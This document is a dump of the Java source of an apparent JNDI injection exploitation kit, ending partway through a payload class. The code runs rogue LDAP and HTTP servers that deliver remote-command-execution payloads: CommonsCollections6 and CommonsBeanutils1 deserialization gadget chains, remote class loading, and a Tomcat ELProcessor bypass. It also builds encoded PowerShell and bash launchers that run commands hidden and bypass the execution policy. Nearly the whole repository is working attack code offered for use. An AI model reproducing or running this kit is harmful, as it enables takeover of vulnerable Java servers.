├── .gitattributes ├── src └── main │ ├── java │ └── org │ │ └── sec │ │ ├── Config.java │ │ ├── core │ │ ├── ldap │ │ │ ├── LdapController.java │ │ │ ├── LdapMapping.java │ │ │ └── LdapServer.java │ │ └── http │ │ │ ├── HttpServer.java │ │ │ └── CommandHandler.java │ │ ├── util │ │ ├── StringUtil.java │ │ ├── EncodeUtil.java │ │ └── ClassUtil.java │ │ ├── Command.java │ │ ├── Logo.java │ │ ├── controller │ │ ├── CB1Controller.java │ │ ├── CC6Controller.java │ │ ├── BashCC6Controller.java │ │ ├── BashCB1Controller.java │ │ ├── PowershellCB1Controller.java │ │ ├── PowershellCC6Controller.java │ │ ├── BashCommandController.java │ │ ├── SimpleCommandController.java │ │ ├── PowershellCommandController.java │ │ ├── Tomcat.java │ │ ├── BashTomcatController.java │ │ └── PowershellTomcatController.java │ │ ├── Main.java │ │ └── payload │ │ ├── CC6.java │ │ ├── CB1.java │ │ └── Generator.java │ └── resources │ └── log4j.properties ├── .gitignore ├── pom.xml ├── README.md └── LICENSE /.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=java 2 | *.css linguist-language=java 3 | *.html linguist-language=java 4 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Config.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | public class Config { 4 | public static String cmd; 5 | public static int ldapPort; 6 | public static int httpPort; 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/ldap/LdapController.java: -------------------------------------------------------------------------------- 1 | package org.sec.core.ldap; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | 5 | public interface LdapController { 6 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; 7 | String getInfo(); 8 | } 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Operating System Files 2 | 3 | *.DS_Store 4 | Thumbs.db 5 | *.sw? 6 | .#* 7 | *# 8 | *~ 9 | *.sublime-* 10 | 11 | # Build Artifacts 12 | 13 | .gradle/ 14 | build/ 15 | target/ 16 | bin/ 17 | dependency-reduced-pom.xml 18 | 19 | # Eclipse Project Files 20 | 21 | .classpath 22 | .project 23 | .settings/ 24 | 25 | # IntelliJ IDEA Files 26 | 27 | *.iml 28 | *.ipr 29 | *.iws 30 | *.idea -------------------------------------------------------------------------------- /src/main/java/org/sec/core/ldap/LdapMapping.java: -------------------------------------------------------------------------------- 1 | package org.sec.core.ldap; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target(ElementType.TYPE) 10 | public @interface LdapMapping { 11 | String[] uri(); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | log4j.rootLogger=INFO,console 2 | log4j.additivity.org.apache=true 3 | log4j.appender.console=org.apache.log4j.ConsoleAppender 4 | log4j.appender.console.Threshold=INFO 5 | log4j.appender.console.ImmediateFlush=true 6 | log4j.appender.console.Target=System.out 7 | log4j.appender.console.layout=org.apache.log4j.PatternLayout 8 | log4j.appender.console.layout.ConversionPattern=%d{HH:mm:ss} [%p] [%c] %m%n -------------------------------------------------------------------------------- /src/main/java/org/sec/util/StringUtil.java: -------------------------------------------------------------------------------- 1 | package org.sec.util; 2 | 3 | public class StringUtil { 4 | public static String cleanCommand(String cmd) { 5 | String temp = cmd; 6 | if (temp.startsWith("'") || temp.startsWith("\"")) { 7 | temp = temp.substring(1); 8 | } 9 | if (temp.endsWith("'") || temp.endsWith("\"")) { 10 | temp = temp.substring(0, temp.length() - 1); 11 | } 12 | return temp; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Command.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | import com.beust.jcommander.Parameter; 4 | 5 | public class Command { 6 | @Parameter(names = {"-h", "--help"}, description = "Help Info", help = true) 7 | public boolean help; 8 | 9 | @Parameter(names = {"--cmd"}, description = "Use Command") 10 | public String command; 11 | 12 | @Parameter(names = {"--lp"}, description = "LDAP Server Port") 13 | public int ldapPort = 1389; 14 | 15 | @Parameter(names = {"--hp"}, description = "HTTP Server Port") 16 | public int httpPort = 8000; 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Logo.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | public class Logo { 4 | public static void print(){ 5 | System.out.println(" ___ ________ ________ ___ ___ __ ___ _________ \n" + 6 | " |\\ \\|\\ ___ \\|\\ ___ \\|\\ \\|\\ \\|\\ \\ |\\ \\|\\___ ___\\ \n" + 7 | " \\ \\ \\ \\ \\\\ \\ \\ \\ \\_|\\ \\ \\ \\ \\ \\/ /|\\ \\ \\|___ \\ \\_| \n" + 8 | " __ \\ \\ \\ \\ \\\\ \\ \\ \\ \\ \\\\ \\ \\ \\ \\ ___ \\ \\ \\ \\ \\ \\ \n" + 9 | "|\\ \\\\_\\ \\ \\ \\\\ \\ \\ \\ \\_\\\\ \\ \\ \\ \\ \\\\ \\ \\ \\ \\ \\ \\ \\ \n" + 10 | "\\ \\________\\ \\__\\\\ \\__\\ \\_______\\ \\__\\ \\__\\\\ \\__\\ \\__\\ \\ \\__\\\n" + 11 | " \\|________|\\|__| \\|__|\\|_______|\\|__|\\|__| \\|__|\\|__| \\|__|"); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/CB1Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CB1; 11 | 12 | @LdapMapping(uri = "/CB1") 13 | public class CB1Controller implements LdapController { 14 | @Override 15 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 16 | Entry e = new Entry(base); 17 | e.addAttribute("javaClassName", "java.lang.String"); 18 | e.addAttribute("javaSerializedData", CB1.getPayload(Config.cmd)); 19 | result.sendSearchEntry(e); 20 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 21 | } 22 | 23 | @Override 24 | public String getInfo() { 25 | return "RCE Use CB1 Payload (Simple)"; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/CC6Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CC6; 11 | 12 | @LdapMapping(uri = "/CC6") 13 | public class CC6Controller implements LdapController { 14 | @Override 15 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 16 | Entry e = new Entry(base); 17 | e.addAttribute("javaClassName", "java.lang.String"); 18 | e.addAttribute("javaSerializedData", CC6.getPayload(Config.cmd)); 19 | result.sendSearchEntry(e); 20 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 21 | } 22 | 23 | @Override 24 | public String getInfo() { 25 | return "RCE Use CC6 Payload (Simple)"; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/BashCC6Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CC6; 11 | import org.sec.util.EncodeUtil; 12 | 13 | @LdapMapping(uri = "/BashCC6") 14 | public class BashCC6Controller implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | Entry e = new Entry(base); 18 | e.addAttribute("javaClassName", "java.lang.String"); 19 | String cmd = EncodeUtil.getBashPayload(Config.cmd); 20 | e.addAttribute("javaSerializedData", CC6.getPayload(cmd)); 21 | result.sendSearchEntry(e); 22 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 23 | } 24 | 25 | @Override 26 | public String getInfo() { 27 | return "RCE Use CC6 Payload (Bash)"; 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/BashCB1Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CB1; 11 | import org.sec.util.EncodeUtil; 12 | 13 | @LdapMapping(uri = "/BashCB1") 14 | public class BashCB1Controller implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | Entry e = new Entry(base); 18 | e.addAttribute("javaClassName", "java.lang.String"); 19 | String cmd = EncodeUtil.getBashPayload(Config.cmd); 20 | e.addAttribute("javaSerializedData", CB1.getPayload(cmd)); 21 | result.sendSearchEntry(e); 22 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 23 | } 24 | 25 | @Override 26 | public String getInfo() { 27 | return "RCE Use CB1 Payload (Bash)"; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/PowershellCB1Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CB1; 11 | import org.sec.util.EncodeUtil; 12 | 13 | @LdapMapping(uri = "/PowershellCB1") 14 | public class PowershellCB1Controller implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | Entry e = new Entry(base); 18 | e.addAttribute("javaClassName", "java.lang.String"); 19 | String cmd = EncodeUtil.getPowershellPayload(Config.cmd); 20 | e.addAttribute("javaSerializedData", CB1.getPayload(cmd)); 21 | result.sendSearchEntry(e); 22 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 23 | } 24 | 25 | @Override 26 | public String getInfo() { 27 | return "RCE Use CB1 Payload (Powershell)"; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/PowershellCC6Controller.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | import org.sec.payload.CC6; 11 | import org.sec.util.EncodeUtil; 12 | 13 | @LdapMapping(uri = "/PowershellCC6") 14 | public class PowershellCC6Controller implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | Entry e = new Entry(base); 18 | e.addAttribute("javaClassName", "java.lang.String"); 19 | String cmd = EncodeUtil.getPowershellPayload(Config.cmd); 20 | e.addAttribute("javaSerializedData", CC6.getPayload(cmd)); 21 | result.sendSearchEntry(e); 22 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 23 | } 24 | 25 | @Override 26 | public String getInfo() { 27 | return "RCE Use CC6 Payload (Powershell)"; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/http/HttpServer.java: -------------------------------------------------------------------------------- 1 | package org.sec.core.http; 2 | 3 | import org.apache.log4j.LogManager; 4 | import org.apache.log4j.Logger; 5 | import org.sec.util.EncodeUtil; 6 | 7 | import java.net.InetSocketAddress; 8 | 9 | 10 | public class HttpServer { 11 | private static final Logger logger = LogManager.getLogger(HttpServer.class); 12 | 13 | public static void start(String cmd, int port) { 14 | try { 15 | logger.info("start http server: 0.0.0.0:" + port); 16 | com.sun.net.httpserver.HttpServer server = 17 | com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(port), 0); 18 | server.createContext("/SimpleCommand.class", 19 | new CommandHandler(cmd, "SimpleCommand")); 20 | server.createContext("/PowershellCommand.class", 21 | new CommandHandler(EncodeUtil.getPowershellPayload(cmd), "PowershellCommand")); 22 | server.createContext("/BashCommand.class", 23 | new CommandHandler(EncodeUtil.getBashPayload(cmd), "BashCommand")); 24 | server.start(); 25 | } catch (Exception e) { 26 | e.printStackTrace(); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/BashCommandController.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | 11 | import java.net.URL; 12 | 13 | @LdapMapping(uri = "/BashCommand") 14 | public class BashCommandController implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | URL codeBase = new URL("http://0.0.0.0:"+ Config.httpPort +"/#BashCommand"); 18 | Entry e = new Entry(base); 19 | e.addAttribute("objectClass", "javaNamingReference"); 20 | e.addAttribute("javaClassName", "BashCommand"); 21 | e.addAttribute("javaFactory", codeBase.getRef()); 22 | e.addAttribute("javaCodeBase", codeBase.toString()); 23 | result.sendSearchEntry(e); 24 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 25 | } 26 | 27 | @Override 28 | public String getInfo() { 29 | return "Simple RCE Use Bash"; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/SimpleCommandController.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | 11 | import java.net.URL; 12 | 13 | @LdapMapping(uri = "/SimpleCommand") 14 | public class SimpleCommandController implements LdapController { 15 | 16 | @Override 17 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 18 | URL codeBase = new URL("http://0.0.0.0:"+ Config.httpPort +"/#SimpleCommand"); 19 | Entry e = new Entry(base); 20 | e.addAttribute("objectClass", "javaNamingReference"); 21 | e.addAttribute("javaClassName", "SimpleCommand"); 22 | e.addAttribute("javaFactory", codeBase.getRef()); 23 | e.addAttribute("javaCodeBase", codeBase.toString()); 24 | result.sendSearchEntry(e); 25 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 26 | } 27 | 28 | @Override 29 | public String getInfo() { 30 | return "Simple RCE"; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/PowershellCommandController.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.sec.Config; 8 | import org.sec.core.ldap.LdapController; 9 | import org.sec.core.ldap.LdapMapping; 10 | 11 | import java.net.URL; 12 | 13 | @LdapMapping(uri = "/PowershellCommand") 14 | public class PowershellCommandController implements LdapController { 15 | @Override 16 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 17 | URL codeBase = new URL("http://0.0.0.0:"+ Config.httpPort +"/#PowershellCommand"); 18 | Entry e = new Entry(base); 19 | e.addAttribute("objectClass", "javaNamingReference"); 20 | e.addAttribute("javaClassName", "PowershellCommand"); 21 | e.addAttribute("javaFactory", codeBase.getRef()); 22 | e.addAttribute("javaCodeBase", codeBase.toString()); 23 | result.sendSearchEntry(e); 24 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 25 | } 26 | 27 | @Override 28 | public String getInfo() { 29 | return "Simple RCE Use Powershell"; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Main.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import org.apache.log4j.LogManager; 5 | import org.apache.log4j.Logger; 6 | import org.sec.core.http.HttpServer; 7 | import org.sec.core.ldap.LdapServer; 8 | import org.sec.util.StringUtil; 9 | 10 | public class Main { 11 | private static final Logger logger = LogManager.getLogger(Main.class); 12 | 13 | public static void main(String[] args) { 14 | Logo.print(); 15 | logger.info("start jndi kit"); 16 | Command command = new Command(); 17 | JCommander jc = JCommander.newBuilder().addObject(command).build(); 18 | jc.parse(args); 19 | if (command.help) { 20 | jc.usage(); 21 | return; 22 | } 23 | String cmd; 24 | if (command.command == null || command.command.equals("")) { 25 | cmd = "calc.exe"; 26 | } else { 27 | cmd = StringUtil.cleanCommand(command.command); 28 | } 29 | Config.cmd = cmd; 30 | Config.httpPort = command.httpPort; 31 | Config.ldapPort = command.ldapPort; 32 | try { 33 | logger.info("cmd: " + Config.cmd); 34 | new Thread(() -> HttpServer.start(Config.cmd,Config.httpPort)).start(); 35 | new Thread(() -> LdapServer.start(Config.ldapPort)).start(); 36 | } catch (Exception e) { 37 | logger.error(e.getMessage()); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/org/sec/util/EncodeUtil.java: -------------------------------------------------------------------------------- 1 | package org.sec.util; 2 | 3 | import java.nio.charset.StandardCharsets; 4 | import java.util.ArrayList; 5 | import java.util.Base64; 6 | import java.util.List; 7 | 8 | public class EncodeUtil { 9 | public static String getPowershellPayload(String cmd) { 10 | char[] chars = cmd.toCharArray(); 11 | List temp = new ArrayList<>(); 12 | for (char c : chars) { 13 | byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); 14 | for (byte b : code) { 15 | temp.add(b); 16 | } 17 | temp.add((byte) 0); 18 | } 19 | byte[] result = new byte[temp.size()]; 20 | for (int i = 0; i < temp.size(); i++) { 21 | result[i] = temp.get(i); 22 | } 23 | String data = Base64.getEncoder().encodeToString(result); 24 | String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; 25 | return prefix + data; 26 | } 27 | 28 | public static String getBashPayload(String cmd) { 29 | String data = Base64.getEncoder().encodeToString(cmd.getBytes(StandardCharsets.UTF_8)); 30 | String template = "bash -c {echo,__BASE64__}|{base64,-d}|{bash,-i}"; 31 | return template.replace("__BASE64__", data); 32 | } 33 | 34 | public static String getJavaScriptPayload(String cmd) { 35 | ArrayList result = new ArrayList<>(cmd.length()); 36 | for (int i = 0; i < cmd.length(); i++) { 37 | int x = Character.codePointAt(cmd, i); 38 | result.add(Integer.toString(x)); 39 | } 40 | return "String.fromCharCode(" + String.join(",", result) + ")"; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/Tomcat.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.apache.naming.ResourceRef; 8 | import org.sec.Config; 9 | import org.sec.core.ldap.LdapController; 10 | import org.sec.core.ldap.LdapMapping; 11 | import org.sec.util.EncodeUtil; 12 | 13 | import javax.naming.StringRefAddr; 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.ObjectOutputStream; 16 | 17 | @LdapMapping(uri = { "/Tomcat" }) 18 | @SuppressWarnings("all") 19 | public class Tomcat implements LdapController { 20 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 21 | String cmd = EncodeUtil.getJavaScriptPayload(Config.cmd); 22 | String payload = ("{" + 23 | "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + 24 | ".newInstance().getEngineByName(\"JavaScript\")" + 25 | ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" + 26 | "}") 27 | .replace("${command}", cmd); 28 | Entry e = new Entry(base); 29 | e.addAttribute("javaClassName", "java.lang.String"); 30 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", 31 | true, "org.apache.naming.factory.BeanFactory", null); 32 | ref.add(new StringRefAddr("forceString", "x=eval")); 33 | ref.add(new StringRefAddr("x", payload)); 34 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 35 | ObjectOutputStream objOut = new ObjectOutputStream(out); 36 | objOut.writeObject(ref); 37 | e.addAttribute("javaSerializedData", out.toByteArray()); 38 | result.sendSearchEntry(e); 39 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 40 | } 41 | 42 | @Override 43 | public String getInfo() { 44 | return "Use Tomcat ELProcessor Bypass JDK 8u191 (Simple)"; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/BashTomcatController.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.apache.naming.ResourceRef; 8 | import org.sec.Config; 9 | import org.sec.core.ldap.LdapController; 10 | import org.sec.core.ldap.LdapMapping; 11 | import org.sec.util.EncodeUtil; 12 | 13 | import javax.naming.StringRefAddr; 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.ObjectOutputStream; 16 | 17 | @LdapMapping(uri = "/BashTomcat") 18 | @SuppressWarnings("all") 19 | public class BashTomcatController implements LdapController { 20 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 21 | String cmd = EncodeUtil.getJavaScriptPayload( 22 | EncodeUtil.getBashPayload(Config.cmd)); 23 | String payload = ("{" + 24 | "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + 25 | ".newInstance().getEngineByName(\"JavaScript\")" + 26 | ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" + 27 | "}") 28 | .replace("${command}", cmd); 29 | Entry e = new Entry(base); 30 | e.addAttribute("javaClassName", "java.lang.String"); 31 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", 32 | true, "org.apache.naming.factory.BeanFactory", null); 33 | ref.add(new StringRefAddr("forceString", "x=eval")); 34 | ref.add(new StringRefAddr("x", payload)); 35 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 36 | ObjectOutputStream objOut = new ObjectOutputStream(out); 37 | objOut.writeObject(ref); 38 | e.addAttribute("javaSerializedData", out.toByteArray()); 39 | result.sendSearchEntry(e); 40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 41 | } 42 | 43 | @Override 44 | public String getInfo() { 45 | return "Use Tomcat ELProcessor Bypass JDK 8u191 (Bash)"; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/sec/controller/PowershellTomcatController.java: -------------------------------------------------------------------------------- 1 | package org.sec.controller; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 4 | import com.unboundid.ldap.sdk.Entry; 5 | import com.unboundid.ldap.sdk.LDAPResult; 6 | import com.unboundid.ldap.sdk.ResultCode; 7 | import org.apache.naming.ResourceRef; 8 | import org.sec.Config; 9 | import org.sec.core.ldap.LdapController; 10 | import org.sec.core.ldap.LdapMapping; 11 | import org.sec.util.EncodeUtil; 12 | 13 | import javax.naming.StringRefAddr; 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.ObjectOutputStream; 16 | 17 | @LdapMapping(uri = "/PowershellTomcat") 18 | @SuppressWarnings("all") 19 | public class PowershellTomcatController implements LdapController { 20 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 21 | String cmd = EncodeUtil.getJavaScriptPayload( 22 | EncodeUtil.getPowershellPayload(Config.cmd)); 23 | String payload = ("{" + 24 | "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + 25 | ".newInstance().getEngineByName(\"JavaScript\")" + 26 | ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" + 27 | "}") 28 | .replace("${command}", cmd); 29 | Entry e = new Entry(base); 30 | e.addAttribute("javaClassName", "java.lang.String"); 31 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", 32 | true, "org.apache.naming.factory.BeanFactory", null); 33 | ref.add(new StringRefAddr("forceString", "x=eval")); 34 | ref.add(new StringRefAddr("x", payload)); 35 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 36 | ObjectOutputStream objOut = new ObjectOutputStream(out); 37 | objOut.writeObject(ref); 38 | e.addAttribute("javaSerializedData", out.toByteArray()); 39 | result.sendSearchEntry(e); 40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 41 | } 42 | 43 | @Override 44 | public String getInfo() { 45 | return "Use Tomcat ELProcessor Bypass JDK 8u191 (Powershell)"; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/sec/util/ClassUtil.java: -------------------------------------------------------------------------------- 1 | package org.sec.util; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | import java.util.Objects; 8 | import java.util.jar.JarEntry; 9 | import java.util.jar.JarInputStream; 10 | 11 | public class ClassUtil { 12 | public static List> getClassesInPackage(String packageName) { 13 | String path = packageName.replace(".", "/"); 14 | List> classes = new ArrayList<>(); 15 | String[] classPathEntries = System.getProperty("java.class.path").split( 16 | System.getProperty("path.separator") 17 | ); 18 | String name; 19 | for (String classpathEntry : classPathEntries) { 20 | if (classpathEntry.endsWith(".jar")) { 21 | File jar = new File(classpathEntry); 22 | try { 23 | JarInputStream is = new JarInputStream(new FileInputStream(jar)); 24 | JarEntry entry; 25 | while ((entry = is.getNextJarEntry()) != null) { 26 | name = entry.getName(); 27 | if (name.endsWith(".class")) { 28 | if (name.contains(path) && name.endsWith(".class")) { 29 | String classPath = name.substring(0, entry.getName().length() - 6); 30 | classPath = classPath.replace("/", "."); 31 | classes.add(Class.forName(classPath)); 32 | } 33 | } 34 | } 35 | } catch (Exception ignored) { 36 | } 37 | } else { 38 | try { 39 | File base = new File(classpathEntry + "/" + path); 40 | for (File file : Objects.requireNonNull(base.listFiles())) { 41 | name = file.getName(); 42 | if (name.endsWith(".class")) { 43 | name = name.substring(0, name.length() - 6); 44 | classes.add(Class.forName(packageName + "." + name)); 45 | } 46 | } 47 | } catch (Exception ignored) { 48 | } 49 | } 50 | } 51 | return classes; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC6.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.lang.reflect.Field; 13 | import java.util.HashMap; 14 | import java.util.HashSet; 15 | import java.util.Map; 16 | 17 | @SuppressWarnings("all") 18 | public class CC6 { 19 | public static byte[] getPayload(String cmd) { 20 | try { 21 | Transformer transformer = new ChainedTransformer(new Transformer[]{}); 22 | Transformer[] transformers = new Transformer[]{ 23 | new ConstantTransformer(Runtime.class), 24 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 25 | new Object[]{"getRuntime", new Class[]{}}), 26 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 27 | new Object[]{null, new Object[]{}}), 28 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) 29 | }; 30 | Map map = new HashMap(); 31 | Map lazyMap = LazyMap.decorate(map, transformer); 32 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); 33 | HashSet hashSet = new HashSet(1); 34 | hashSet.add(tiedMapEntry); 35 | lazyMap.remove("test"); 36 | Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); 37 | field.setAccessible(true); 38 | field.set(transformer, transformers); 39 | ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 40 | ObjectOutputStream objectOutputStream = new 